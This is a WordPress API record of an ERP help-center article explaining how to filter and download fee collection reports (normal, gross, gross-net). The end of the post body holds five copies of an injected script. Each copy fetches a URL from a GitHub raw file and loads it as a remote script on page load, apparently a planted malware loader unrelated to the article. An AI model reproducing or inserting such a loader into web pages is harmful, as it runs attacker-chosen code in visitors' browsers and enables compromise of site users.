{"id":2509,"date":"2020-01-17T20:18:42","date_gmt":"2020-01-17T14:48:42","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=2509"},"modified":"2025-01-03T05:32:23","modified_gmt":"2025-01-03T00:02:23","slug":"to-view-and-download-fee-collection-detailed-report","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/to-view-and-download-fee-collection-detailed-report\/","title":{"rendered":"To view and download fee collection detailed report"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-298\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2019\/06\/image4-4.png\" alt=\"\" width=\"20\" height=\"14\" \/> <span style=\"font-weight: 400;\">&gt; Fee &gt; Fee Reports &gt; Fee Collection Detailed Report<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Fee collection detailed report gives receipt wise collection details within the selected date range. It will only have original fee collection receipts (It won&#8217;t show any reallocation related receipts).<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Collection report can be downloaded for:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Fee collection was done for the existing students and for the new admission students who are yet to be confirmed.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Note that, once the student is confirmed, fee collection done against the student during admission would be shown as part of the existing student only.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">There are three reports shown in the fee collection report:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><b>Normal Collection<\/b><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li style=\"list-style-type: none;\">\n<ol>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Normal Collection report gives the report of all the active collections in the selected date range, for either the confirmed students or the admission students.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">If any collection has been cancelled, those receipts don&#8217;t show up in the report.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li><b>Gross Collection<\/b><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li style=\"list-style-type: none;\">\n<ol>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Gross Collection gives the report of all the active\/cancelled collections in the selected date range.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">If any collection has been cancelled, those receipts still show up in the report on the date when the actual collection had happened.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">As fee receipts cancellation is allowed only for confirmed students, student type selection is not needed in this report.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li><b>Gross-Net Collection<\/b><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"list-style-type: none;\">\n<ol>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Gross-Net Collection gives the report of all the active\/cancelled collections in the selected date range.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Over and above that, it gives all the Cancelled receipts with negative Values, on the date when the receipt had been cancelled.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">If any collection has been cancelled, those receipts still show up in the report on the date when the actual collection had happened as status &#8216;Collected&#8217; and are there on the date when the receipt had been cancelled as status &#8216;Cancelled&#8217; with negative values.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">As fee receipts cancellation is allowed only for confirmed students, student type selection is not needed in this report.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ul>\n<ol>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Click <\/span><b>Filters<\/b><span style=\"font-weight: 400;\"> on the left side of the page.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select checkcircle against <\/span><b>Day Wise<\/b><span style=\"font-weight: 400;\"> or <\/span><b>Month.<\/b><b><br \/>\n<\/b><span style=\"font-weight: 400;\">If day-wise is selected then select <\/span><b>From<\/b><span style=\"font-weight: 400;\"> and <\/span><b>To<\/b><span style=\"font-weight: 400;\"> dates. <\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">If month is selected then select <\/span><b>Month<\/b><span style=\"font-weight: 400;\"> from the drop-down menu.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select <\/span><b>Academic Session<\/b><span style=\"font-weight: 400;\"> from the drop-down menu.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select <\/span><b>Class<\/b><span style=\"font-weight: 400;\"> and <\/span><b>Section<\/b><span style=\"font-weight: 400;\"> from the drop-down menu.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select <\/span><b>Payment Mode<\/b><span style=\"font-weight: 400;\"> from the drop-down menu.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select <\/span><b>Installment<\/b><span style=\"font-weight: 400;\"> from the drop-down menu.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select <\/span><b>Fee Type<\/b><span style=\"font-weight: 400;\"> from the drop-down menu.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select <\/span><b>Fee Category<\/b><span style=\"font-weight: 400;\"> from the drop-down menu.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select <\/span><b>Student Status<\/b><span style=\"font-weight: 400;\"> (Active, Inactive or Both) from the drop-down menu.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Select checkbox against <\/span><b>Show Concession as a separate Column <\/b><span style=\"font-weight: 400;\">to view consolidated detail of overall concession given in that particular fee collection.<\/span><\/li>\n<li style=\"font-weight: 400;\">Click <b>Submit<\/b><span>. The list of the students will appear.<\/span><\/li>\n<\/ol>\n<p><span style=\"text-decoration: underline;\"><strong>NOTE<\/strong><\/span>:<\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Click <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-289\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2019\/06\/image2-3.png\" alt=\"\" width=\"29\" height=\"30\" \/><\/span><span style=\"font-weight: 400;\"> to download the file in XLS format.<\/span><\/li>\n<li style=\"font-weight: 400;\">Click <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-81\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2019\/06\/Pdf.png\" alt=\"\" width=\"21\" height=\"25\" \/><span> to download the file in PDF format.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Fee collection detailed reports will be downloaded.<\/span><\/p>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&gt; Fee &gt; Fee Reports &gt; Fee Collection Detailed Report Fee collection detailed report gives receipt wise collection details within the selected date range. It will only have original fee collection receipts (It won&#8217;t show any reallocation related receipts). Collection report can be downloaded for: Fee collection was done for the existing students and for &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/to-view-and-download-fee-collection-detailed-report\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;To view and download fee collection detailed report&#8221;<\/span><\/a><\/p>\n","protected":false},"author":20,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[607],"tags":[],"post_folder":[],"class_list":["post-2509","post","type-post","status-publish","format-standard","hentry","category-fee-collection-detailed-report"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/2509","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=2509"}],"version-history":[{"count":6,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/2509\/revisions"}],"predecessor-version":[{"id":10603,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/2509\/revisions\/10603"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=2509"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=2509"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=2509"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=2509"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}